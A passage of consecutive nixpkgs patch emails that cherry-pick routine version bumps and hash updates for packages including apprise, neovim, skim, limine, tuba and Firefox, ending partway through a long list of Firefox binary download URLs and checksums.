+    hash = "sha256-ESYjTN2prkAeHcTYurZaWeM3RgEKtwCZrt9gSMcOAe0=";
   };
 
   postPatch =

From b869e770db56f8ccd1d058836256bdc59302dad5 Mon Sep 17 00:00:00 2001
From: Fabian Affolter <mail@fabian-affolter.ch>
Date: Sun, 3 Aug 2025 13:07:57 +0200
Subject: [PATCH 3309/4511] python313Packages.apprise: 1.9.3 -> 1.9.4

Changelog: https://github.com/caronc/apprise/releases/tag/v1.9.4
(cherry picked from commit 40950e1eb3c1d53d4d09ff886b30edc3389b2fa6)
---
 pkgs/development/python-modules/apprise/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/apprise/default.nix b/pkgs/development/python-modules/apprise/default.nix
index 45a203e495ce..0491a7bf5a62 100644
--- a/pkgs/development/python-modules/apprise/default.nix
+++ b/pkgs/development/python-modules/apprise/default.nix
@@ -22,14 +22,14 @@
 
 buildPythonPackage rec {
   pname = "apprise";
-  version = "1.9.3";
+  version = "1.9.4";
   pyproject = true;
 
   disabled = pythonOlder "3.7";
 
   src = fetchPypi {
     inherit pname version;
-    hash = "sha256-9YNmfqNbiJnNRjGMbLJvD69qRgWxGRdMJSOgElkMZaY=";
+    hash = "sha256-SDEiruGaiaewdezUjvEa4315dE9660ULz5hammwoyYg=";
   };
 
   nativeBuildInputs = [ installShellFiles ];

From 66edfb702304d287cd73fdd1f29456ee92ec230a Mon Sep 17 00:00:00 2001
From: Michael Evans <michaelgrahamevans@gmail.com>
Date: Thu, 7 Aug 2025 09:10:13 +0200
Subject: [PATCH 3310/4511] iotas: 0.11.0 -> 0.11.2

(cherry picked from commit 66ac644511bf9d0d277ec4f3f021c5d66e28e147)
---
 pkgs/by-name/io/iotas/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/io/iotas/package.nix b/pkgs/by-name/io/iotas/package.nix
index 79ec2898aefd..eb3c7776c320 100644
--- a/pkgs/by-name/io/iotas/package.nix
+++ b/pkgs/by-name/io/iotas/package.nix
@@ -20,7 +20,7 @@
 
 python3.pkgs.buildPythonApplication rec {
   pname = "iotas";
-  version = "0.11.0";
+  version = "0.11.2";
   pyproject = false;
 
   src = fetchFromGitLab {
@@ -28,7 +28,7 @@ python3.pkgs.buildPythonApplication rec {
     owner = "World";
     repo = "iotas";
     tag = version;
-    hash = "sha256-9YYKVBjidHBWyUqFvxo3tNx5DQkpililCDLZofESYRw=";
+    hash = "sha256-nDmofssoaB3BKh6X3Lpi5xftyo9Zw3IUoD3wte0wPM4=";
   };
 
   nativeBuildInputs = [

From d44dc26458f360222211dd3f0b2bdb56c53050e5 Mon Sep 17 00:00:00 2001
From: Seth Flynn <getchoo@tuta.io>
Date: Wed, 6 Aug 2025 16:30:27 +0000
Subject: [PATCH 3311/4511] garnet: 1.0.79 -> 1.0.80

Diff: https://github.com/microsoft/garnet/compare/v1.0.79...v1.0.80
Changelog: https://github.com/microsoft/garnet/releases/tag/v1.0.80
(cherry picked from commit eb926c8e89cad19e992772967e317baca980d77b)
---
 pkgs/by-name/ga/garnet/deps.json   | 4 ++--
 pkgs/by-name/ga/garnet/package.nix | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ga/garnet/deps.json b/pkgs/by-name/ga/garnet/deps.json
index 9e5c1b7001a2..67c016f383cc 100644
--- a/pkgs/by-name/ga/garnet/deps.json
+++ b/pkgs/by-name/ga/garnet/deps.json
@@ -31,8 +31,8 @@
   },
   {
     "pname": "KeraLua",
-    "version": "1.4.4",
-    "hash": "sha256-MF7DBdc8xNiEcauNer7YFRgjbUU4ANmc2uQKrzVDRDs="
+    "version": "1.4.6",
+    "hash": "sha256-7lXJhhQlEuRoaF18XiZYJDyhA8RIWpYWNB9kr4aARQc="
   },
   {
     "pname": "Microsoft.Bcl.AsyncInterfaces",
diff --git a/pkgs/by-name/ga/garnet/package.nix b/pkgs/by-name/ga/garnet/package.nix
index 211eff07fb64..af25400a3657 100644
--- a/pkgs/by-name/ga/garnet/package.nix
+++ b/pkgs/by-name/ga/garnet/package.nix
@@ -8,13 +8,13 @@
 
 buildDotnetModule rec {
   pname = "garnet";
-  version = "1.0.79";
+  version = "1.0.80";
 
   src = fetchFromGitHub {
     owner = "microsoft";
     repo = "garnet";
     tag = "v${version}";
-    hash = "sha256-EXI/6yctbAX2tcUYsb9sHXed5pik/uttXoY0gCnH9H8=";
+    hash = "sha256-9B2Ai+W6+rZ8xLrrO7d8jd6LYWaMGIq3a+lz8rY32uA=";
   };
 
   projectFile = "main/GarnetServer/GarnetServer.csproj";

From 1338cf6b7800c67552df465f5be15920a6664c59 Mon Sep 17 00:00:00 2001
From: Seth Flynn <getchoo@tuta.io>
Date: Wed, 6 Aug 2025 16:30:18 +0000
Subject: [PATCH 3312/4511] lock: 1.6.7 -> 1.7.0

Diff: https://github.com/konstantintutsch/Lock/compare/v1.6.7...v1.7.0
(cherry picked from commit c8759cd0e1c496751ad7df69f841ef3152340f83)
---
 pkgs/by-name/lo/lock/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/lo/lock/package.nix b/pkgs/by-name/lo/lock/package.nix
index 26985e209485..a6b9f8450d9f 100644
--- a/pkgs/by-name/lo/lock/package.nix
+++ b/pkgs/by-name/lo/lock/package.nix
@@ -19,13 +19,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "lock";
-  version = "1.6.7";
+  version = "1.7.0";
 
   src = fetchFromGitHub {
     owner = "konstantintutsch";
     repo = "Lock";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-5wbt+zZANWNbKJtcptovkPsGMUjGHmiX2vniLRqrQNc=";
+    hash = "sha256-RuxlMPboNODfSQXeGQWCpeNDI3HQNjx+ILsKAEttL6A=";
   };
 
   strictDeps = true;

From 86a429b5699a687cf767de497ca6205c9b8622bb Mon Sep 17 00:00:00 2001
From: Seth Flynn <getchoo@tuta.io>
Date: Wed, 6 Aug 2025 16:28:53 +0000
Subject: [PATCH 3313/4511] dosage-tracker: 1.9.9 -> 1.9.10

Diff: https://github.com/diegopvlk/Dosage/compare/v1.9.9...v1.9.10
(cherry picked from commit 56bf09a9c37d0cc4847c151933e6238bc92bc558)
---
 pkgs/by-name/do/dosage-tracker/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/do/dosage-tracker/package.nix b/pkgs/by-name/do/dosage-tracker/package.nix
index f31b2603c289..192d9017452c 100644
--- a/pkgs/by-name/do/dosage-tracker/package.nix
+++ b/pkgs/by-name/do/dosage-tracker/package.nix
@@ -17,13 +17,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "dosage";
-  version = "1.9.9";
+  version = "1.9.10";
 
   src = fetchFromGitHub {
     owner = "diegopvlk";
     repo = "Dosage";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-UVcbZgPk35VsYvyzIJrR79vAhSByJjn8kh+y0KQcwpM=";
+    hash = "sha256-aLZ1Jl2h5KmZQ8zNyNqivAkf4Gjqh2eQfoKLabdXhBI=";
   };
 
   # https://github.com/NixOS/nixpkgs/issues/318830

From 80f3bfeffed8d7f03adc0d72ce7922349d66c197 Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Mon, 14 Jul 2025 15:09:06 +0200
Subject: [PATCH 3314/4511] neovim[-unwrapped]: 0.11.2 -> 0.11.3

Diff:
https://github.com/neovim/neovim/compare/refs/tags/v0.11.2...refs/tags/v0.11.3

Changelog: https://github.com/neovim/neovim/releases/tag/v0.11.3
(cherry picked from commit 126da6686679a2eb9e598c945e930facc840a26e)
---
 pkgs/by-name/ne/neovim-unwrapped/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ne/neovim-unwrapped/package.nix b/pkgs/by-name/ne/neovim-unwrapped/package.nix
index 2bf333d3d6b7..56fa25d308aa 100644
--- a/pkgs/by-name/ne/neovim-unwrapped/package.nix
+++ b/pkgs/by-name/ne/neovim-unwrapped/package.nix
@@ -95,7 +95,7 @@ stdenv.mkDerivation (
   in
   {
     pname = "neovim-unwrapped";
-    version = "0.11.2";
+    version = "0.11.3";
 
     __structuredAttrs = true;
 
@@ -103,7 +103,7 @@ stdenv.mkDerivation (
       owner = "neovim";
       repo = "neovim";
       tag = "v${finalAttrs.version}";
-      hash = "sha256-sNunEdIFrSMqYaNg0hbrSXALRQXxFkdDOl/hhX1L1WA=";
+      hash = "sha256-B/An+SiRWC3Ea0T/sEk8aNBS1Ab9OENx/l4Z3nn8xE4=";
     };
 
     patches = [

From 17230108939c635ba73dbf766245ec32a70fbff2 Mon Sep 17 00:00:00 2001
From: Seth Flynn <getchoo@tuta.io>
Date: Wed, 6 Aug 2025 13:24:16 -0400
Subject: [PATCH 3315/4511] skim: 0.20.3 -> 0.20.4

Diff: https://github.com/skim-rs/skim/compare/refs/tags/v0.20.3...refs/tags/v0.20.4

Changelog: https://github.com/skim-rs/skim/releases/tag/v0.20.4
(cherry picked from commit 3a40e7463108b7c736c33ea98f472978397532a8)
---
 pkgs/by-name/sk/skim/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sk/skim/package.nix b/pkgs/by-name/sk/skim/package.nix
index 2381bb3967e2..a1e81a57f949 100644
--- a/pkgs/by-name/sk/skim/package.nix
+++ b/pkgs/by-name/sk/skim/package.nix
@@ -12,7 +12,7 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "skim";
-  version = "0.20.3";
+  version = "0.20.4";
 
   outputs = [
     "out"
@@ -24,14 +24,14 @@ rustPlatform.buildRustPackage rec {
     owner = "skim-rs";
     repo = "skim";
     tag = "v${version}";
-    hash = "sha256-DyrndFT4gPLLdBtvS/QI0UDMtKKeK8oX2K2h4/6xvb0=";
+    hash = "sha256-KgJ22Q0+tAfO6fHLYBM5mxqYJjjfmIb7hY+FcQM4j3c=";
   };
 
   postPatch = ''
     sed -i -e "s|expand('<sfile>:h:h')|'$out'|" plugin/skim.vim
   '';
 
-  cargoHash = "sha256-BcWszU7S0imGlXgQ5e1L9yLfXzYzseK0z2BnqIqKkzg=";
+  cargoHash = "sha256-H9hCYPpsefLu35RIr3qURmrwnAOIevsd2E5LkK6Ay+4=";
 
   nativeBuildInputs = [ installShellFiles ];
 

From 49234445accbb847686d6c7dbf986968f1bd71fa Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 29 Jul 2025 16:47:49 +0000
Subject: [PATCH 3316/4511] limine: 9.5.0 -> 9.5.1

(cherry picked from commit ca8bfc8496697697df2bbdd8272f7d5b60fab65b)
---
 pkgs/by-name/li/limine/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/limine/package.nix b/pkgs/by-name/li/limine/package.nix
index 40ba59d7682e..f5f3aff2bf0e 100644
--- a/pkgs/by-name/li/limine/package.nix
+++ b/pkgs/by-name/li/limine/package.nix
@@ -42,14 +42,14 @@ in
 # as bootloader for various platforms and corresponding binary and helper files.
 stdenv.mkDerivation (finalAttrs: {
   pname = "limine";
-  version = "9.5.0";
+  version = "9.5.1";
 
   # We don't use the Git source but the release tarball, as the source has a
   # `./bootstrap` script performing network access to download resources.
   # Packaging that in Nix is very cumbersome.
   src = fetchurl {
     url = "https://github.com/limine-bootloader/limine/releases/download/v${finalAttrs.version}/limine-${finalAttrs.version}.tar.gz";
-    hash = "sha256-SWJ5e6/q92UyC0ea8yJAYcFNr5LreJ2qFY7hcunovEM=";
+    hash = "sha256-UgY8S+XGlSnO1k98JWBfSN0/IY3LANVFgJwI1kdPAcU=";
   };
 
   enableParallelBuilding = true;

From 37930cbdc33c7f4138648d2b6f2736542ff74a47 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 7 Aug 2025 13:43:39 +0000
Subject: [PATCH 3317/4511] limine: 9.5.1 -> 9.5.4

(cherry picked from commit ed6f6a1ca1ac5707695a56cb1312cc32247b9c75)
---
 pkgs/by-name/li/limine/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/limine/package.nix b/pkgs/by-name/li/limine/package.nix
index f5f3aff2bf0e..a87dc4958729 100644
--- a/pkgs/by-name/li/limine/package.nix
+++ b/pkgs/by-name/li/limine/package.nix
@@ -42,14 +42,14 @@ in
 # as bootloader for various platforms and corresponding binary and helper files.
 stdenv.mkDerivation (finalAttrs: {
   pname = "limine";
-  version = "9.5.1";
+  version = "9.5.4";
 
   # We don't use the Git source but the release tarball, as the source has a
   # `./bootstrap` script performing network access to download resources.
   # Packaging that in Nix is very cumbersome.
   src = fetchurl {
     url = "https://github.com/limine-bootloader/limine/releases/download/v${finalAttrs.version}/limine-${finalAttrs.version}.tar.gz";
-    hash = "sha256-UgY8S+XGlSnO1k98JWBfSN0/IY3LANVFgJwI1kdPAcU=";
+    hash = "sha256-X0dStbsBJyFDUG25G4PUZInp+yVG3+p3bfhwQL280ig=";
   };
 
   enableParallelBuilding = true;

From 71764e30005c5c39c2572cc4302a0071784d1e44 Mon Sep 17 00:00:00 2001
From: awwpotato <awwpotato@voidq.com>
Date: Wed, 6 Aug 2025 12:54:51 -0700
Subject: [PATCH 3318/4511] tuba: 0.9.2 -> 0.10.0

(cherry picked from commit bf34865e9e19d8577d1ab043521e65a0c2dc8bb9)
---
 pkgs/by-name/tu/tuba/package.nix | 27 ++++++++++++++++++---------
 1 file changed, 18 insertions(+), 9 deletions(-)

diff --git a/pkgs/by-name/tu/tuba/package.nix b/pkgs/by-name/tu/tuba/package.nix
index 9a778d5de0b5..71f7a5893875 100644
--- a/pkgs/by-name/tu/tuba/package.nix
+++ b/pkgs/by-name/tu/tuba/package.nix
@@ -12,6 +12,7 @@
   gtk4,
   libadwaita,
   json-glib,
+  gexiv2,
   glib,
   glib-networking,
   gnome,
@@ -24,25 +25,25 @@
   libsecret,
   libwebp,
   libspelling,
+  webkitgtk_6_0,
   webp-pixbuf-loader,
   icu,
   gst_all_1,
+  clapper-enhancers,
   clapper-unwrapped,
-  # clapper support is still experimental and has bugs.
-  # See https://github.com/GeopJr/Tuba/pull/931
-  clapperSupport ? false,
+  clapperSupport ? true,
   nix-update-script,
 }:
 
 stdenv.mkDerivation rec {
   pname = "tuba";
-  version = "0.9.2";
+  version = "0.10.0";
 
   src = fetchFromGitHub {
     owner = "GeopJr";
     repo = "Tuba";
     rev = "v${version}";
-    hash = "sha256-SQrk6zsn3zZQTIruqVfjzs5cNyT2pAvM8XNI8SmyFM0=";
+    hash = "sha256-q+AwtmvLf0AFrCK2YlRFrrXakULHLh749TV/iwapIlw=";
   };
 
   nativeBuildInputs = [
@@ -57,6 +58,7 @@ stdenv.mkDerivation rec {
   ];
 
   buildInputs = [
+    gexiv2
     glib
     glib-networking
     gtksourceview5
@@ -69,6 +71,7 @@ stdenv.mkDerivation rec {
     libsecret
     libwebp
     libspelling
+    webkitgtk_6_0
     icu
   ]
   ++ (with gst_all_1; [
@@ -83,14 +86,16 @@ stdenv.mkDerivation rec {
   ];
 
   mesonFlags = [
-    (lib.mesonBool "clapper" clapperSupport)
+    (lib.mesonEnable "clapper" clapperSupport)
   ];
 
   env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.cc.isClang "-Wno-error=int-conversion";
 
-  passthru = {
-    updateScript = nix-update-script { };
-  };
+  preFixup = ''
+    gappsWrapperArgs+=(
+      --set-default CLAPPER_ENHANCERS_PATH "${clapper-enhancers}/${clapper-enhancers.passthru.pluginPath}"
+    )
+  '';
 
   # Pull in WebP support for avatars from Misskey instances.
   # In postInstall to run before gappsWrapperArgsHook.
@@ -105,6 +110,10 @@ stdenv.mkDerivation rec {
     }"
   '';
 
+  passthru = {
+    updateScript = nix-update-script { };
+  };
+
   meta = {
     description = "Browse the Fediverse";
     homepage = "https://tuba.geopjr.dev/";

From 750be938aa51f2d9d2c415e0b9af557d1bad981c Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Fri, 8 Aug 2025 00:22:23 +0200
Subject: [PATCH 3319/4511] firefox-unwrapped: 141.0.2 -> 141.0.3

https://www.firefox.com/en-US/firefox/141.0.3/releasenotes/
(cherry picked from commit 0b75b94ecc7c70ee893a8df3ab84a06a883011dd)
---
 .../networking/browsers/firefox/packages/firefox.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
index 12c0a16b922e..3abfe11d3731 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
@@ -9,10 +9,10 @@
 
 buildMozillaMach rec {
   pname = "firefox";
-  version = "141.0.2";
+  version = "141.0.3";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "6d1552bc64d915e784a5d560c8bb35a5308f35ebcd2552b027f80f950c7f0c627cca46b0796cf6e17d8f50c82e6f70a3ec11471ce0e058794f500b7b15e17b43";
+    sha512 = "b660b018840c41a254734b4847a791f1a9fd2f72dbea825ea5971fd0b3269a43f1f4be1ccf4a53f7809b6b98398f4e04a142e57f8882d6590bab636ef75002f6";
   };
 
   meta = {

From 50c1fc6b2ae79d06c044dcdb05a41896759a647d Mon Sep 17 00:00:00 2001
From: jonhermansen <jon@jh86.org>
Date: Fri, 8 Aug 2025 02:52:09 +0000
Subject: [PATCH 3320/4511] firefox-bin-unwrapped: 141.0.2 -> 141.0.3 (#431852)

https://www.firefox.com/en-US/firefox/141.0.3/releasenotes/
(cherry picked from commit 759d4aff7d50473477d886a5c19fd476a04e171b)
---
 .../browsers/firefox-bin/release_sources.nix  | 1650 ++++++++---------
 1 file changed, 825 insertions(+), 825 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
index 80043dce2e9f..5dd3c6974b0c 100644
--- a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
+++ b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
@@ -1,2477 +1,2477 @@
 {
-  version = "141.0.2";
+  version = "141.0.3";
   sources = [
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ach/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ach/firefox-141.0.3.tar.xz";
       locale = "ach";
       arch = "linux-x86_64";
-      sha256 = "1ca9780814e8c8bd5d1df9cf5a060bf40bfaf8f44bf6814eb66b1c8dd7a98201";
+      sha256 = "627a4d8be46f887db7391104717770a4c11249c37678bc484a2b2deb5007509b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/af/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/af/firefox-141.0.3.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "a236bab084dda9d07e9dfa64fb1d6cba3c01f501c7cfe199e0b0938e112a5983";
+      sha256 = "a3328847130d990f6b1cc79587988ff351895745d7901e11be49a8116d98b145";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/an/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/an/firefox-141.0.3.tar.xz";
       locale = "an";
       arch = "linux-x86_64";
-      sha256 = "1029ea94fc4a70b09b61902e82f952155def6aa33261c004884ddf610307abff";
+      sha256 = "b51fe97d0deaa9d2289d7bf0157f17693f4f698b5a73456f151561fdefff4035";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ar/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ar/firefox-141.0.3.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "d56977ca982e8c8f30680abfc4f11e855a0ce3bca41fe3e15b5de4b672def8ae";
+      sha256 = "5b546a369af373c0540501c2130229b0193e0241e582a0118f04e7d8545239c8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ast/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ast/firefox-141.0.3.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "6dbd5f336ae7a92d4054b3f3cd0426fc0bfe7a133e64d9f7af4fe4afdd79b38d";
+      sha256 = "6ff16269395855e6bda0d3e247cc5b2dfb0380c5463c3998a75ab6118c9cfae9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/az/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/az/firefox-141.0.3.tar.xz";
       locale = "az";
       arch = "linux-x86_64";
-      sha256 = "e465e03bdbb4cda5c8e2f8b830d19304cbda7faae4905686a4e5adc0352318a5";
+      sha256 = "47dab2243a9976c8a342419fc2bd9e3018efdbf55073d6ef93047ab69961048f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/be/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/be/firefox-141.0.3.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "a295b06135dad55fe9cf25f84e19c183a2f38ef7a17185855ade0290f0a68e24";
+      sha256 = "c14d9c0487f19581bbe84fa143f9f44715954801145ca6faed1c360c8b1df3ae";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/bg/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/bg/firefox-141.0.3.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "33afdf2755acff42958c3305d9d0f074f9c3fe3192189ef5666706cfd87db69b";
+      sha256 = "383245e15b900f1ca81f4a6d4b0f9ecc4fde8282178a990bb70934c61737fcef";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/bn/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/bn/firefox-141.0.3.tar.xz";
       locale = "bn";
       arch = "linux-x86_64";
-      sha256 = "911876ce9731648211eeb8697f25e8da425165b0b632ac35c67030c033e42194";
+      sha256 = "4cc0f97e7b2ffecb317b17ca14548ae6d7165d63ef0b2d038f609175e8d08a45";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/br/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/br/firefox-141.0.3.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "aed15b4cca2d749e97ae3691f84bd975dac8cb49079e29cddaf4c67ae8c9097f";
+      sha256 = "a4dd23993d44aa9193d8241d6ac4beff9f8da61693487ff74bf4b9204a74e2c4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/bs/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/bs/firefox-141.0.3.tar.xz";
       locale = "bs";
       arch = "linux-x86_64";
-      sha256 = "944d55cc43dbbdeaef0ba56fc7ca62f14b4ad0b153d6e077ab3aecafffea93ec";
+      sha256 = "cfdd129fc1d4e8da8902d1f88c30561331e6a07ee22120b2594f020cf668fb47";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ca-valencia/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ca-valencia/firefox-141.0.3.tar.xz";
       locale = "ca-valencia";
       arch = "linux-x86_64";
-      sha256 = "188aee67f49b7cc8ff5e4f4ccfff364739aea22c5444f1b83d0ec883bb937c91";
+      sha256 = "b52d0747340a94efc4b2761515fed56ba86432374aaf7a20ea6dd56fb8a3272f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ca/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ca/firefox-141.0.3.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "b0dd88473a6d74540f0197c5295660800d0b4edd1be695108d3e85b6fb3b6b2d";
+      sha256 = "b897391f406a34ec2f31295918ff62cff0cf2f7dfc84411864b38d5723169750";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/cak/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/cak/firefox-141.0.3.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "843d6295b4618307d90e2cb5c52d6d06fb11d397e4dab779e8e58b60b75fef4b";
+      sha256 = "e1b3886e2f57754b960c3cbe7dbad8813d2514f24d77d7325372d0222c89c0de";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/cs/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/cs/firefox-141.0.3.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "331adce471261e8f6cadb0b42d400dff3bf198eddaf9a65273164b1e7870f9f5";
+      sha256 = "de8bc7aae84cf049ff05ce9031ffa1912e03c8ce5a59d6ad909e2bf76b7e8156";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/cy/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/cy/firefox-141.0.3.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "1af3afb4bb347680de1308389e9d87a0c1d092ee558918329f85a1af40721045";
+      sha256 = "cfc2148edf9625131c675119d12b0add30bb462680a0714fbaa30dffd943d34b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/da/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/da/firefox-141.0.3.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "dcbb8ccd8fd680d09a1d85f549118a5d0f7ee725808f253ba03433c584b21d56";
+      sha256 = "870fbedf5e68fced72212de2e3e31c69caa70998f9efa030ac0268f73a99e121";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/de/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/de/firefox-141.0.3.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "8c2284cbc85339f8bbe82949c1c590a60f303e3734116b991141c1c1774fd705";
+      sha256 = "e49dc3615933515577496d92c91c39d03d01dce2d77542c84c8763c0f50f3733";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/dsb/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/dsb/firefox-141.0.3.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "3335c6f90db7a191969b41ca49dabf6a9af06305918cc6484cec61ac7025a848";
+      sha256 = "5d4b54b412bbccf50da17040798a071a8c37c731651d0c7a9a6d6645fec6371f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/el/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/el/firefox-141.0.3.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "1a78becf72f5657015f8085fc166ac5249b8ad2c2f66d3a8cd9ce1a40e520d94";
+      sha256 = "36ac776b807e433d9c001283c042bfe185db2b99ea81c4be6b4b06f81d5fed42";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/en-CA/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/en-CA/firefox-141.0.3.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "a9cab9fb39dddc43c8eb357865d05546a0eb5f7b0169b41c2f647f41b91e7d79";
+      sha256 = "ed4bc1a1b19efc5f3d994de75661d19aa0f3d283751e62072d9b99cf6a6b0573";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/en-GB/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/en-GB/firefox-141.0.3.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "b32365b0bb1e0194680ad43a93cb5c23b5c9f1ab69433ae94de1c4ad40aa7a15";
+      sha256 = "d538f26dfd3f81ca3d71a022a5f996826bf1bd42dea33c7171e6c737f85cc5a7";
     }
     {
